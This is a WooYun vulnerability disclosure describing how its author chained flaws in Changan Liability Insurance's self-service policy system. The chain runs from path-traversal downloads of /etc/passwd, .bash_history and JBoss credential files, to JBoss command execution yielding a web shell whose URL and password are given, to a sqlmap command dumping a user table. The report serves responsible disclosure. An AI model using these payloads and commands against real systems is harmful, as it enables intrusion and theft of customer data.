当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2015-0117147
漏洞标题：
看我如何通过漏洞组合获取长安保险投保系统权限(GetShell)
相关厂商：
长安责任保险
漏洞作者：
茜茜公主
提交时间：
2015-06-03 18:06
修复时间：
2015-07-20 17:20
公开时间：
2015-07-20 17:20
漏洞类型：
文件上传导致任意代码执行
危害等级：
高
自评Rank：
20
漏洞状态：
已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2015-06-03： 细节已通知厂商并且等待厂商处理中
2015-06-05： 厂商已经确认，细节仅向厂商公开
2015-06-15： 细节向核心白帽子及相关领域专家公开
2015-06-25： 细节向普通白帽子公开
2015-07-05： 细节向实习白帽子公开
2015-07-20： 细节向公众公开

简要描述：

漏洞组合

详细说明：

1#任意文件下载（拿到系统关键路径及jboss认证密码）
2#jboss命令执行
3#SQL注入
在长安保险官网的快速链接，有一处网上激活

QQ截图20150530142537.jpg


进入该系统

QQ截图20150530142724.jpg


这2个子系统其实代码都一样，我们选其一进入

QQ截图20150530142753.jpg


在索赔指南处，可以得到漏洞1：任意文件下载的url

http://www.ecaic.com:8070/cardactiverenshen/fileDownLoadAction.do?action=download&fileUrl=/jsp/material/2752/&fileName=lipei.rar


很明显的，你还能知道该系统用了jboss，左上角图标，尝试了下jboss的漏洞，发现需要认证，所以接下来我把注意打在获取jboss认证密码上
构造一下下载链接

http://www.ecaic.com:8070/cardactiverenshen/fileDownLoadAction.do?action=download&fileUrl=/jsp/material/2752/../../../../../../../etc/&fileName=passwd


QQ截图20150530143319.jpg


QQ截图20150530143356.jpg


http://www.ecaic.com:8070/cardactiverenshen/fileDownLoadAction.do?action=download&fileUrl=/jsp/material/2752/../../../../&fileName=cardactive.jsr


如果文件不存在，你可以得到部分路径

QQ截图20150530143457.jpg


根据之前几弹长安保险的漏洞分析，它的目录结构应是下面这样的

QQ截图20150530143744.jpg


所以，只好把.bash_history载下来一观，看看里面有没有jboss的绝对路径

http://www.ecaic.com:8070/cardactiverenshen/fileDownLoadAction.do?action=download&fileUrl=/jsp/material/2752/../../../../../../../root/&fileName=.bash_history


root下的提示无权限下载，我知道我犯傻了，所以

http://www.ecaic.com:8070/cardactiverenshen/fileDownLoadAction.do?action=download&fileUrl=/jsp/material/2752/../../../../../&fileName=.bash_history


QQ截图20150530144147.jpg

漏洞证明：

打开.bash_history，如愿得到绝对路径,但有2个，猜测应该不止一个jboss端口，扫描下发现了http://www.ecaic.com:8580

QQ截图20150530150449.jpg


路径1：/home/jboss/jboss-eap-4.3.0.GA_CP10/server/cardactive_server/


路径2：/home/jboss/jboss-eap-4.3/jboss-as/server/cardactive_server/


接着获取jboss认证密码

http://www.ecaic.com:8070/cardactiverenshen/fileDownLoadAction.do?action=download&fileUrl=/jsp/material/2752/../../../../../jboss-eap-4.3.0.GA_CP10/server/cardactive_server/conf/props/&fileName=jmx-console-users.properties


QQ截图20150530144516.jpg


http://www.ecaic.com:8070/cardactiverenshen/fileDownLoadAction.do?action=download&fileUrl=/jsp/material/2752/../../../../../jboss-eap-4.3/jboss-as/server/cardactive_server/conf/props/&fileName=jmx-console-users.properties


QQ截图20150530150928.jpg


对2个web的jboss尝试认证
发现

路径1：/home/jboss/jboss-eap-4.3.0.GA_CP10/server/cardactive_server/

对应的是http://www.ecaic.com:8580

路径2：/home/jboss/jboss-eap-4.3/jboss-as/server/cardactive_server/

对应的是http://www.ecaic.com:8070
接下来利用jboss，getshell

QQ截图20150530151245.jpg


一句话地址：
http://www.ecaic.com:8580/is/index.jsp
经过验证，即http://eshop.ecaic.com/is/index.jsp
密码：023
长安责任保险股份有限公司自助投保系统

QQ截图20150530151530.jpg


QQ截图20150530151624.jpg


该服务器上有
长安责任保险股份有限公司自助投保卡激活系统

QQ截图20150530151834.jpg


车险远程查勘定损系统

QQ截图20150530151949.jpg


车险移动理赔管理平台

QQ截图20150530152113.jpg


还有这个保单信息查询系统

QQ截图20150530152355.jpg


长安责任保险业务辅助平台

QQ截图20150530152518.jpg


剩下的事大家都懂的，数据库我就不看了
抽时间又看了一下长安责任保险股份有限公司自助投保系统，存在一处注入，都在一处服务器上，我一起指出来吧，个人感觉应该不止一处，留给其他朋友探索吧

http://eshop.ecaic.com/loveNetSales/termsAction.do?action=inContentView&riskCode=2808&sequence=1


QQ截图20150530153009.jpg


QQ截图20150530153014.jpg


QQ截图20150530153115.jpg


python SQLMap/SQLMap.py -u "http://eshop.ecaic.com/loveNetSales/termsAction.do?action=inContentView&riskCode=2808&sequence=1" --time-sec 6 -D LOVEPRD -T T_USER --dump

修复方案：

文件下载过滤../
个人建议这个invoker/JMXInvokerServlet还是删除保险
注入点过滤

版权声明：转载请注明来源 茜茜公主@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2015-06-05 17:20

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT向保险行业信息化主管部门通报，由其后续协调网站管理单位处置。

最新状态：

暂无